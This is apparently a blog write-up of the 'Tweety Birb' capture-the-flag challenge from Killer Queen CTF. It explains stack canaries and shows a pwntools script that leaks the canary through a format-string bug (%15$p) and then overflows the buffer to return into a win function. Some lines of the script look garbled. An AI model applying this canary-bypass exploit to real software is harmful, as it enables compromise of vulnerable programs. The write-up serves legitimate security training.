Killer Queen CTF : Tweety Birb (Canary bypass with format string vulnerability)

4 min readNov 1, 2021



This was a basic ret2win challenge with a twist. It had stack canaries enabled. So using the basic buffer flow technique and calling the function was out of the picture. But there was a format string vulnerability in the binary! Somehow leaking address could help here. We could leak the canary address and place the canary address at the perfect place so that it doesn’t detect stack smashing. Then we could call the win function and get our flag. But before going to the exploit directly I’ll tell what stack canaries are for the newbs out there. You can skip to the challenge section if you know about the canary.


Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immediately.

I like this definition of stack canary from The definition itself is self-explanatory. To prevent buffer overflow, we could use this protection mitigation. Now, ret2win usually requires a buffer overflow. But here the canaries are enabled, So if we overflow the buffer and try to reach the RIP/Return address region it will show us a “stack smashing detected ” and exit.

Now the only way is to not change the canary value when we buffer overflow or find the value of canary and then replace it at the correct position when the canary check comes.

I hope this image makes everything clear. How do we get this canary value? We could use the format string vulnerability to leak the canary value. Generally, the canary value has “00” in its address. Then we will put this leaked value in some variable and then use it in our program. Then place the canary at the place it should have been. After that, we will overwrite and reach the return address where we can give the win() address.


We will do the basic checks like file type and mitigations.

We have canary enabled. So if we overflow we should see a stack smashing detected error.

To look deeper, we could use ghidra to see what the source code looks like.

Clearly after the first gets() function we have a format string vulnerability due to printf(). We could use this function to leak the canary address to us.

As I said before canary addresses always have a “00” ending usually. Let’s take a guess and assume this is the canary address. It is in the 15th position(Can say the 15th argument too). We will store this value in a variable in runtime as canary value change every time the binary runs. Then we will overflow the buffer, place the canary in the correct place, then fill up the space and give our win function.

First we search for the win address using objdump.

Next, we get a ret address to avoid the movaps aligning issue in Ubuntu.

Also, the buffer size is 72 bytes, our canary check will be after this buffer. So overwrite with 72 junk characters to reach the canary.

Now we can write the exploit for this binary.

from pwn import *p = remote('',5002)overwrite = b'A' * 72 # To overwrite buffer with 72 junk char
win = p64(0x00000000004011d6) # Win address
ret = p64(0x000000000040101a) # ret address
p.sendline(b'%15$p') # 15th argument when leaked
canary = int(p.recvline(), 16) # Getting the canary value and storing in variable'Canary: {hex(canary)}') # Storing as hex
payload = overwrite # Overwrite the buffer to reach the canary
payload += p64(canary) # Sending in the correct canary
payload += b'A' * 8 # Filling up spaces
payload += ret # To avoid movaps
payload += win # Win address
p.recvuntil(b"fowl?") # After second prompt

Running this exploit will give the flag.

And there we go! We have our flag.

Hope you understood the challenge. Do check out my other blogs.

Don’t forget to give some claps if you reached here :) Follow me for more write-ups.